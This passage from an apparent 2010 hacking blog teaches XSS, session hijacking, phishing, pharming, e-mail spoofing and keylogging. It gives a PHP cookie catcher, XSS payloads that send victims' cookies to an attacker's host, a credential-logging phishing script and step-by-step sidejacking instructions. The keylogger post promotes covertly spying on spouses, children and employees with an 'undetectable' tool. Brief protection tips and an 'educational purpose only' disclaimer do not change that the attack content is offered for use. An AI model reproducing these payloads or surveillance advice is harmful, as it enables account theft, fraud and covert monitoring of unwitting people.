4. When the victim browser receives a new command such as (Get Cookies,
Execute custom JavaScript, Get Key logger Data etc.) it is processed and
returns the results to the XSS Shell.

5. The Attacker can push new commands to victim(s) browser and view the
results from the XSS Shell administration interface.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

CROSS-SITE SCRIPTING

2010-12-07T06:38:00.001-08:00

What is Cross-Site Scripting ?

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. The malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site.

Techniques :

Basically Cross Site Scripting is taking advantage of web application that takes user input but do not filter it properly. It allows an attacker to inject things like HTML or other java scripts or some malicious codes, basically these codes or scripts used to steal the information of the user and mostly its used to steal the cookies.

These cookies are used to maintain the user authentication on that particular website. So the basic idea is if an attacker can manage to get the cookies of a particular user than he may easily login to their account.

There are basically three types of XSS attacks:

1. Persistant XSS:

Persistant or Stored or Type-I XSS occurs when the data provided by the attacker is saved by the server, and then permanently displayed on normal pages returned to other users in the course of regular browsing, without proper HTML escaping.

Vulnerability Testing:

Lets login as an User in a particular forum or some discussion board. Once you are logged in create a new thread name it as anything but in the body of the thread lets put:

Script Code:

<script>alert("test");</script>

If you get any alert popping-up which says test, then you have got the site which is Persistant Attack Vulnerable.

Now the attacker will use a Cookie Catcher in order to steal the user's session cookie. Cookie catcher is basically a PHP file which can store information directly sent to it from a browser.

Script Code:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: http://www.google.com");
?>

Upload this script to a PHP supported web hosting site like ripway or t35 or 110mb.com.

And now we will need to change the script which needs to put in a new thread so cookie is sent accross to the cookie catcher.

Script Code:

<script>document.location="www.yourhost.com/cookiecatcher.php?c=" + document.cookies</script>

Post this in the body of your thread. Now if someone clicks on the thread, their cookies would be sent to you as a text format and the user will be redirected to www.google.com.

2. Non-persistant XSS:

The Non-persistent or Reflected or Type-II XSS vulnerability is by far the most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to generate a page of results for that user, without properly sanitizing the request.

Many web portals offer a personalized view of a web site and may greet a logged in user as Welcome, Joe. Sometimes the data referencing a logged in user is stored within the query string of a URL: http://portal.example/index.php sessionid=12312312&username=Joe. If an attacker were to modify the username field in the URL, inserting a cookie-stealing JavaScript, it would possible to gain control of the user's account if they managed to get the victim to visit their URL. Most of the time an attacker will URL Encode their malicious payload by ASCII-HEX converter similar to the example below:

Encoded URL:

http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E

Decoded this by HEX-ASCII converter you will find Cookie Stealing URL:

Decoded URL:

http://portal.example/index.php?sessionid=12312312&
username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script>

3. DOM Based XSS:

In 2005, Amit Klein defined a third type of XSS, which he coined DOM Based or Type-0 XSS. DOM-based XSS is an advanced type of XSS attack which is made possible when the web application’s client side scripts write user provided data to the Document Object Model (DOM). The data is subsequently read from the DOM by the web application and outputted to the browser. If the data is incorrectly handled, an attacker can inject a payload, which will be stored as part of the DOM and executed when the data is read back from the DOM.

The most dangerous part of DOM-based XSS is that the attack is often a client-side attack, and the attacker’s payload is never sent to the server. This makes it even more difficult to detect for Web Application Firewalls (WAFs) and security engineers analyzing the server’s logs since they will never even see the attack.

Among various objects that make up the DOM, there are some objects in particular which an attacker can manipulate in order to generate the XSS condition. Such objects include the URL (document.URL), the part of the URL behind the hash (location.hash) and the Referrer (document.referrer).

Protection :

1. The primary defense mechanism to stop XSS is contextual output encoding or escaping.

2. Untrusted HTML input must be run through an HTML policy engine to ensure that is does not contain XSS. Tools such as OWASP AntiSamy and http://htmlpurifier.org accomplish this task.

3. Besides content filtering, additional security on cookie-based user authentication should be introduced.

4. XSS-Me is the Exploit-Me tool used to test for reflected Cross-Site Scripting (XSS) by submitting your HTML forms and substituting the form value with strings that are representative of an XSS attack.

5. Acunetix Web Vulnerability Scanner (WVS) Free Edition offers the functionality for anyone who wants to test their own application for Cross Site Scripting.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

SESSION SIDEJACKING

2010-12-07T06:37:00.002-08:00

What is Sidejacking ?

Sidejacking is the process of sniffing cookie information, then replaying them against websites in order to clone a victim’s session. We use the term sidejacking to distinguish this technique from man-in-the-middle hijacking. Whereas man-in-the-middle hijacking interferes with the original session, sidejacking does not. The victim continues to use his session blissfully unaware that we are also in his account.

SideJacking works only if the site catches a non-SSL cookie, so any Web site that uses SSL exclusively would be safe from SideJackers. SideJacking was first demonstrated by Robert Graham, CEO of Errata Security at Black Hat in 2007.

Techniques :

All you need to do in order to sidejack is sniff cookies off the wire and edit cookies. This can be done with a wide variety of tools.

1. WinPcap is the industry-standard tool for link-layer network access in Windows environments: it allows applications to capture and transmit network packets bypassing the protocol stack, and has additional useful features, including kernel-level packet filtering, a network statistics engine and support for remote packet capture.

Download and install Winpcap from here.

2. Graham leveraged the tools Ferret, essentially a packet sniffing tool that captures cookies and writes them to a hamster.txt file, and Hamster, basically a local proxy that creates a web front end for exploiting the cookie information captured by Ferret.

Download and install Ferret & Hamster from here.

3. Unzip the tools into a directory such as C:\sidejacking.

4. Open a command prompt and change to that directory as cd c:\sidejacking.

5. Use ferret –W to figure out which interface you want to sniff.

6. Use ferret –i n to start sniffing cookies. Here n is the interface number.

7. Now use hamster in the same directory as hamster.txt to start the proxy.

8. Set up a browser to use the proxy at 127.0.0.1:3128.

9. In that browser, go to http://hamster to go to the proxy console window.

10. Select a victim, then click on a URL to sidejack it.

Countermeasures :

1. Always try to stick to secured WiFi networks that you know and trust that would not have any strangers on it running packet sniffers.

2. Never use a Wi-Fi hotspot unless they are using VPN (virtual private networking) or SSL (secure sockets layer) to access sensitive information.

3. Graham said that Google Mail users could switch to https://mail.google.com and secure their session from such snooping.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

SESSION FIXATION

2010-12-07T06:37:00.001-08:00

What is Session Fixation ?

Session Fixation is an attack that permits an attacker to hijack a valid user session. The attack explores a limitation in the way the web application manages the session ID, more specifically the vulnerable web application. When authenticating a user, it doesn’t assign a new session ID, making it possible to use an existent session ID.

The attack consists of inducing a user to authenticate himself with a known session ID, and then hijacking the user-validated session by the knowledge of the used session ID. The attacker has to provide a legitimate Web application session ID and try to make the victim's browser use it.

Attack Scenario :

1. Mallory has determined that http://unsafe/ accepts any session identifier, accepts session identifiers from query strings and has no security validation. http://unsafe/ is thus not secure.

2. Mallory sends Alice an e-mail: "Hey, check this out, there is a cool new account summary feature on our bank, http://unsafe/?SID=I_WILL_KNOW_THE_SID". Mallory is trying to fixate the SID to I_WILL_KNOW_THE_SID.

3. Alice is interested and visits http://unsafe/?SID=I_WILL_KNOW_THE_SID. The usual log-on screen pops up, and Alice logs on.

4. Mallory visits http://unsafe/?SID=I_WILL_KNOW_THE_SID and now has unlimited access to Alice's account.

Attack Process :

1. Session Setup:

First, the attacker either sets up a trap session on the target server and obtains that session’s ID, or selects a arbitrary session ID to be used in the attack. In some cases, the established trap session needs to be maintained by repeatedly sending requests referencing it to avoid idle session timeout.

2. Session Fixation:

Next, the attacker needs to introduce her session ID to the user’s browser, thereby fixing his session.

3. Session Entrance:

Finally, the attacker has to wait until the user logs in to the target server using the previously fixed session ID and then enter the user’s session.

Attack Example :

1. First, the attacker, who in this case is also a legitimate user of the system, logs in to the server and is issued a session ID 1234.

2. Then he sends a hyperlink http://online.worldbank.dom/login.jsp?sessionid=1234 to the user, trying to lure him into clicking on it.

3. The user clicks on the link, which opens the server’s login page in his browser.

4. Upon receipt of the request for login.jsp?sessionid=1234, the web application has established.

5. Finally, the user provides his credentials to the login script and the server grants him access to his bank account.

6. At this point, knowing the session ID, the attacker can also access the user’s account via account.jsp?sessionid=1234.

Countermeasures :

1. Web applications must ignore any session ID provided by the user’s browser at login and must always generate a new session to which the user will log in if successfully authenticated.

2. If possible, a web application on a strict system should only issue session IDs of newly generated sessions to users after they have successfully authenticated.

3. Session identifiers in URL (GET or POST variables) are not recommended as they simplify this attack. The session identifier on most modern systems is stored by default in an HTTP cookie, which has a moderate level of security. Use of the SSL/TLS session identifier is very secure.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

SESSION HIJACKING

2010-12-07T03:38:00.000-08:00

What is Session Hijacking ?

Session hijacking is the act of taking control of a user session after successfully obtaining or generating an authentication session ID. Session hijacking involves an attacker using captured, brute forced or reverse-engineered session IDs to seize control of a legitimate user's Web application session while that session is still in progress.

TCP session hijacking is when a hacker takes over a TCP session between two machines. Since most authentication only occurs at the start of a TCP session, this allows the hacker to gain access to a machine.

Techniques :

There are mainly three methods used to perpetrate a session hijack. These are:

1. Session Fixation:

The session fixation attack is a class of Session Hijacking, which steals the established session between the client and the Web Server after the user logs in. Instead, the Session Fixation attack fixes an established session on the victim's browser, so the attack starts before the user logs in.

For detailed info on How Session Fixation works click here.

2. Session Sidejacking:

where the attacker uses packet sniffing to read network traffic between two parties to steal the session cookie. Many web sites use SSL encryption for login pages to prevent attackers from seeing the password, but do not use encryption for the rest of the site once authenticated. This allows attackers that can read the network traffic to intercept all the data that is submitted to the server or web pages viewed by the client.

1. First the attacker uses a network sniffer to capture a valid token session called Session ID.

2. Now he manipulates the token session to gain unauthorized access to the Web Server or hijack the victim's web session.

For detailed info on How Session Sidejacking works click here.

3. Cross-Site Scripting:

The attacker can compromise the session token by using malicious code or programs running at the client-side. If an attacker sends a crafted link to the victim with the malicious JavaScript, when the victim clicks on the link, the JavaScript will run and complete the instructions made by the attacker. The example shows how the attacker could use an XSS attack to steal the session token.

For detailed info on How XSS works click here.

Protection :

1. Regenerating the session id after a successful login. This prevents session fixation because the attacker does not know the session id of the user after he has logged in.

2. Some services make secondary checks against the identity of the user. For example it will change the value of the cookie with each and every request.

3. Users may also wish to log out of websites whenever they are finished using them.

4. Encryption of the data passed between the parties; in particular the session key. This technique is widely relied-upon by web-based banks and other e-commerce services.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

HACK ORKUT ACCOUNT

2010-12-04T23:06:00.000-08:00

How To Hack Orkut ?

Hello guys ! Most of you want to know the way to hack Orkut account. Today I'll discuss on this topic. But before this you should know the fact that Google uses a 4 Level Orkut login which makes it difficult to hack using brute force method.

1st Level: SSL or 128 bit secured connection.
2nd Level: Google account checks for cookie in the sytem of user.
3rd Level: Google provides a redirection to the entered User information.
4th Level: Google doesn't use conventional php or aspx or asp coding so impossible to attack using input validation attack.

So it is not an easy task to hack Orkut by breaking this security. However still some people manages to get access to other’s Orkut accounts. Now the question is how they do this.

Techniques :

1. KEYLOGGER:

Using Keyloggers is one of the Easiest Way to Hack Orkut password. Keylogger programs can spy on what the user types from the keyboard. If you think that you can just uninstall such programs, you are wrong as they are completely hidden.

Key logger software can record instant messages, e-mail and any information you type at any time on your keyboard. The log file created by the key logger can then be saved to a specific location or mailed to the concerned person.

For detailed info on How to use a Keylogger click here.

2. PHISHING:

Phishing Attack is the most popular way of stealing other’s password. This attact works by using fake login pages to fool innocent Orkut users to enter their Orkut username and password in these fake login pages instead of the real ones.

When the users land on these page they enter their Orkut username and password thinking it to be the real page but actually it is other way round. It submits all the entered details to the creator of the fake login page.

Example: You get a link to a community in a scrap. It may be something like:

http://www.okrut.com/Community.aspx?cmm=22910233

It is okrut instead of orkut. This is definitely a trap created by the hacker to hack your Orkut password.

For detailed info on How Phishing Works click here.

3. SESSION HIJACKING:

In computer science, session hijacking refers to the exploitation of a valid computer session, sometimes also called a session key, to gain unauthorized access to information or services in a computer system.

To steal one's Session, the attacker generally use a network sniffer or a cookie catcher. You must have seen the circulating scraps or flooding scraps that asks you to paste a Java Script in your address bar. Well sometimes such script may reveal your private information.

For detailed info on How Session Hijacking Works click here.

Protect Your Orkut Account :

1. Never try to login your Orkut account from sites other than Orkut.com.

2. Never click on any links from the sources you don’t trust while accessing your Orkut account.

3. Never ever use Javascripts on Orkut, no matter whatever it claims to do.

4. Never tick the box Remember Me on the orkut homepage if you are surfing from a cafe or a public area.

5. McAfee SiteAdvisor is a service that reports on the safety of web sites by alerting users to possible phishing and identity theft scams.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

PHARMING

2010-12-02T09:35:00.000-08:00

What is Pharming ?

You must be well aware of phishing and its potential to cause damage. In phisihing you are being spammed with malicious deceiving e-mail requests for you to visit spoof Web sites which appear legitimate.

Pharming on the other hand poisons a DNS server by infusing false information into the DNS server, resulting in a user’s request being redirected elsewhere. Your browser, however will show you are at the correct Web site, which makes pharming a bit more serious and more difficult to detect.

Pharming is a derivate from phishing. Both use “ph” instead of an “f” and are part of a computer slang.

What is DNS :

The Domain Name System (DNS) is a hierarchical naming system, which translates human-friendly computer hostnames into IP addresses. For example, www.example.com translates to 192.0.32.10.

DNS Poisoning :

Pharming attacks do not take advantage of any new technique. They use the well known DNS cache poisoning, domain spoofing and domain hijacking techniques that have been around for quite long.

1. The hacker hacks into the DNS server and changes the IP address for www.nicebank.com. He put the IP of www.n1cebank.com (Hacker’s site).

2. User wants to go the website www.nicebank.com and types the address in the web browser.

3. User’s computer queries the DNS server for the IP address of www.nicebank.com.

4. Since the DNS server has already been poisoned by the attacker, it returns the IP address of www.n1cebank.com to the user’s computer.

5. The user has now been fooled into visiting the fake website controlled by the attacker rather than the original www.nicebank.com website.

Host Redirection :

The hosts file is a computer file used in an operating system to map hostnames to IP addresses. The hosts file is a plain-text file and is traditionally named hosts.

Location:

%SystemRoot%\system32\drivers\etc\

Add an entry at the bottom where it says : 127.0.0.1 localhost

66.102.9.147 www.myspace.com

What it will do is redirect the person from myspace website to ip 66.102.9.147 which is the ip for google.com.

Thus the attacker can manipulate the IP and take the victim towards any fake website.

Prevent Pharming :

1. Pharming Conscious web sites that use forms to accept passwords or other sensitive information ensure that the page that contains the form itself is served using HTTPS.

2. If you visit an SSL-enabled website, look out for this warning message window. If you get it, doubly check if the website you are visiting gave this message in earlier instances. Check if the URL is the same that you intend to go to.

3. SpoofStick is a simple browser extension that helps users detect fake websites. This tool is free and installs itself into your browser. It’s available for firefox and internet explorer. For more information go to Spoofstick.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

PHISHING

2010-12-02T04:06:00.000-08:00

What is Phishing ?

In the field of computer security, phishing is the criminally fraudulent process of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an electronic communication.

Phishing E-mail :

Phishing is typically carried out by e-mail or instant messaging. Phishing e-mail messages take a number of forms:

1. They might appear to come from your bank or financial institution, a company you regularly do business with, such as Microsoft, or from your social networking site.

2. Spear phishing is a targeted form of phishing in which an e-mail message might look like it comes from your employer, or from a colleague who might send an e-mail message to everyone in the company, such as the head of human resources or IT.

3. Phone phishing scams direct you to call a customer support phone number. A person or an audio response unit waits to take your account number, personal identification number, password, or other valuable personal data.

Here is an example of what a phishing scam in an e-mail message might look like.

Phishing Techniques :

1. Link Manipulation:

Misspelled URLs or the use of subdomains are common tricks used by phishers, such as this example URL

www.micosoft.com

www.mircosoft.com

www.micorsoft.com

instead of http://www.microsoft.com

Another method of spoofing used links like: http://www.facebook.ripway.com/ actually this URL points to the facebook (i.e. fake login page ) section of the ripway website.

2. Filter Evasion:

Phishers have used images instead of text to make it harder for anti-phishing filters to detect text commonly used in phishing emails.

Fake Login Page :

Fake Login Page exactly looks like the original page of any website. But in the page source, the action field is replaced by a PHP script. This PHP serves two purposes:

Script Code:

<?php
header ('Location: http://www.orkut.com/Home.aspx ');
$handler = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handler, $variable);
fwrite($handler, "=");
fwrite($handler, $value);
fwrite($handler, "\r\n");
}
fwrite($handler, "\r\n");
fclose($handler);
exit;
?>

1. First it captures the input data (username & password) and sends it to the attacker.

2. It redirects the victim to the original page to make him believe that the login is normal.

Phishing Targets :

1. Social networking sites like facebook, myspace, orkut now a prime target of phishing, since the personal details in such sites can be used in identity theft.

2. The RapidShare file sharing site has been targeted by phishing to obtain a premium account.

3. Almost half of phishing thefts in 2006 were committed by groups operating through the Russian Business Network based in St. Petersburg.

4. eBay, PayPal and the other online banks are also targeted.

Anti Phishing Info :

1. Never assume that an email is valid based on the sender’s email address. The email may be forged.

2. A trusted bank such as CITIBANK will never ask you for your full name and password in a CITIBANK email.

3. An email from trusted organization will never contain attachments or software.

4. Always ensure that you're using a secure website when submitting credit card or other sensitive information.

5. Get in the habit of looking at the address line. Were you directed to PayPal? Or something different like http://www.yougotscammed.com/paypal/login.htm?

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

E-MAIL FORGING

2010-12-01T06:15:00.000-08:00

What is E-mail Forging ?

E-mail forging is e-mail activity in which the sender address and other parts of the e-mail header are altered to appear as though the e-mail originated from a different source. It is commonly used in spam and phishing e-mails to hide the origin of the e-mail message.

Examples of spoofed email that could affect the security of your site include:

email claiming to be from a system administrator requesting users to change their passwords to a specified string and threatening to suspend their account if they do not do this.

email claiming to be from a person in authority requesting users to send them a copy of a password file or other sensitive information.

you can send an email to your friend with the following sender details: From: Bill Gates <billg@microsoft.com>

Methods:

1. Using SMTP Server:

One can send Anonymous emails simply by installing an SMTP server in his system and using the TELNET commands:

This method used to work successfully in the past, but today it has a very low success rate since Gmail and Yahoomail blocks the emails that are sent directly from a PC.

2. Using Email Script:

First we need to find a PHP supported web hosting providers like Ripway or Freewha or 110mb.com. Usually they all are trusted and authorised.

Script Code:

<?php

$to = "someone@example.com";

$subject = "Test mail";

$message = "Hello! This is a simple email message.";

$from = "someonelse@example.com";

$headers = "From: $from";

mail($to,$subject,$message,$headers);

echo "Mail Sent.";

?>

Now upload the PHP script on that site and set the permission to 777. U are done...

Prevent Spam :

1. Use cryptographic signatures (e.g., PGP "Pretty Good Privacy" or other encryption technologies) to exchange authenticated email messages.

2. Similarly, sites may wish to consider enabling SSL/TLS in their mail transfer software. Using certificates in this manner increases the amount of authentication performed when sending mail.

3. Configure your mail delivery daemon to prevent someone from directly connecting to your SMTP port to send spoofed email to other sites.

4. Educate your users about your site's policies and procedures in order to prevent them from being "social engineered," or tricked, into disclosing sensitive information (such as passwords).

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

SOCIAL ENGINEERING

2010-11-28T07:03:00.000-08:00

What kind of Engineering is this ?

Social engineering is the act of manipulating people into performing actions or divulging confidential information, rather than by breaking in or using technical cracking techniques. While similar to a confidence trick or simple fraud, the term typically applies to trickery or deception for the purpose of information gathering, fraud, or computer system access; in most cases the attacker never comes face-to-face with the victim. This also refers to Reverse Engineering.

Phishing:

Phishing is a technique of fraudulently obtaining private information. Typically, the phisher sends an e-mail that appears to come from a legitimate bank or credit card company, requesting verification of information and warning of some dire consequence if it is not provided.

The e-mail usually contains a link to a fraudulent web page that seems legitimate with company logos and content and has a form requesting everything from a home address to an ATM card's PIN.

Pretexting:

This technique can be used to trick a business into disclosing customer information as well as by private investigators to obtain telephone records, utility records, banking records and other information directly from junior company service representatives.

A high profile case of pretexting occurred in 2006 in which HP hired private investigators to investigate a large leak of confidential information. The private investigators impersonated HP board members and several journalists in attempts to gain call records and other personal information.

Vishing:

Vishing or Phone Phishing is the criminal practice of using social engineering over the telephone system, most often using features facilitated by Voice over IP (VoIP), to gain access to private personal and financial information from the public for the purpose of financial reward.

This technique uses a rogue Interactive voice response (IVR) system to recreate a legitimate-sounding copy of a bank or other institution's IVR system.

Baiting:

Baiting is like the real-world Trojan Horse that uses physical media and relies on the curiosity or greed of the victim.
In this attack, the attacker leaves a malware infected floppy disk, CD ROM, or USB flash drive in a location sure to be found (bathroom, elevator, sidewalk, parking lot), gives it a legitimate looking and curiosity-piquing label, and simply waits for the victim to use the device.

Notable Social Engineers:

Kevin David Mitnick (born August 6, 1963) is a computer security consultant and author. In the late 20th century, he was convicted of various computer- and communications-related crimes. At the time of his arrest, he was the most-wanted computer criminal in the United States.

He popularized the term social engineering, pointing out that it is much easier to trick someone into giving a password for a system than to spend the effort to crack into the system.

Films on Social Engg:

Catch Me If You Can is a 2002 American biopic-crime film based on the life of Frank Abagnale Jr., who, before his 19th birthday, successfully conned millions of dollars by posing as a Pan American World Airways pilot, a Georgia doctor and Louisiana attorney and parish prosecutor.

His primary crime was cheque forgery, becoming so skillful that the FBI eventually turned to him for help in catching other cheque forgers.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

RAT

2010-11-27T00:45:00.000-08:00

What is a RAT?

A Remote Administration Tool (known more commonly on the Internet as a RAT) is used to remotely connect and manage a single or multiple computers with a variety of tools, such as:

Screen/camera capture or control
File management (download/upload/execute/etc.)
Shell control (usually piped from command prompt)
Computer control (power off/on/log off)
Registry management (query/add/delete/modify)
Other product-specific function

It has many purposes, most importantly the power to gain access remotely to another user's PC.

Virtual Network Computing:

VNC is remote control software which allows you to view and fully interact with one computer desktop (the "VNC server") using a simple program (the "VNC viewer") on another computer desktop anywhere on the Internet. The two computers don't even have to be the same type, so for example you can use VNC to view a Windows Vista desktop at the office on a Linux or Mac computer at home. For ultimate simplicity, there is even a Java viewer, so that any desktop can be controlled remotely from within a browser without having to install software.

A VNC system consists of a client, a server, and a communication protocol.

The VNC server is the program on the machine that shares its screen. The server passively allows the client to take control of it.
The VNC client (or viewer) is the program that watches, controls, and interacts with the server. The client controls the server.
The VNC protocol (RFB) is very simple, based on one graphic primitive from server to client ("Put a rectangle of pixel data at the specified X,Y position") and event messages from client to server.

VNC Applications:

VNC has a wide range of applications including system administration, IT support and helpdesks. It can also be used to support the mobile user, both for hot desking within the enterprise and also to provide remote access at home, or on the road. The system allows several connections to the same desktop, providing an invaluable tool for collaborative or shared working in the workplace or classroom. Computer support within the geographically spread family is an ever popular use.

For the individual user, one common scenario is using VNC to help troubleshoot the computer of a distant less-technically-savvy relative. A very common business application of VNC is in remote system administration, where it is used to allow administrators to take control of employee machines to diagnose and fix problems, or to access and administer server machines without making a trip to the console.

VNC is widely used in educational contexts, for example to allow a distributed group of students simultaneously to view a computer screen being manipulated by an instructor, or to allow the instructor to take control of the students' computers to provide assistance.

Download: Click HERE to download a copy of TightVNC.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

KEY LOGGER

2010-11-26T22:48:00.000-08:00

What is Key Logger?

Keystroke Logger or Key Logger is an application for tracking (or logging) the keys struck on a keyboard, typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored. There are numerous keylogging methods, ranging from hardware and software-based approaches to electromagnetic and acoustic analysis.

Software-based keyloggers:

Keylogger surveillance software has the capability to record keystroke/captures Screen Shots and save it to a log file (usually encrypted) for future use. Captures every key pressed on the computer viewed by the unauthorized user. Key logger software can record instant messages, e-mail and any information you type at any time on your keyboard. The log file created by the key logger can then be saved to a specific location or mailed to the concerned person. The software will also record any e-mail address you use and Website URLs visited by you.

Why you need Key Logger?

Have you ever questioned what your spouse, kids or employees have been doing on the computer? Is your child misusing the internet facility and taking secret chat with the stranger? Are your employees mailing your business data to your competitors? If you wonder how to tackle these serious issues, you need our key logger software.

The key logger product allows you to secretly monitor and record user's activities and captures Screen shots on the computer PCs. With this software, you will be able to see exactly what people have been doing online and offline, including e-mails, websites visited, applications executed, and keystrokes including username-password, online conversations (G-mail, MSN, Hotmail, Yahoo Messenger etc.) and other similar activities. This tool can run in a stealth mode and is password protected, so no one except you is aware of their existence and the password safeguards other people from uninstalling it.

Key Logger features:

1. Key Stroke Recording:

Record all typed keystrokes by the users on computer!

2. Hidden Installation:

Users can not detect about the key logger installation on the computer!

3. Stealth Mode:

Key Logger will not appear on the Desktop, Add/Remove Programs, Control panel and even hidden in installation path folders.

4. Screen-Shot Monitoring:

Facilitate to capture entire screen snap-shots periodically so that you can see what was being displayed on computer screen in your absence when other user was working on your machine.

5. Email Log and FTP settings:

Allows receiving log files through email feature or can upload logs via FTP server settings even if you are thousand miles away.

6. Password Protected:

The keylogger software is password protected and prevents the unauthorized users to change its configuration setting.

Hardware-based keyloggers:

Hardware-based keyloggers do not depend upon any software being installed as they exist at a hardware level in a computer system.

Hardware keyloggers are used for keystroke logging by means of a hardware circuit that is attached somewhere in between the computer keyboard and the computer, typically inline with the keyboard's cable connector.

A hardware keylogger has an advantage over a software solution: it is not dependent on being installed on the target computer's operating system and therefore will not interfere with any program running on the target machine.

Download: I've tested approx 50 Keyloggers... I found KIDLOGGER which works fine and is fully undetectable by any Anti-virus software...

Protection :

1. Check the Task Manager. Examine all the Applications, Processes & Services running.

2. Use the system configuration utility (msconfig) to determine which task are loaded at start-up.

3. Install a good anti-spyware program in your system like SUPERAntiSpyware and scan your system regularly.

4. KeyScrambler is a program which encrypts your keystrokes to defeat known and unknown keyloggers.

Download: Click here to download KeyScrambler.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...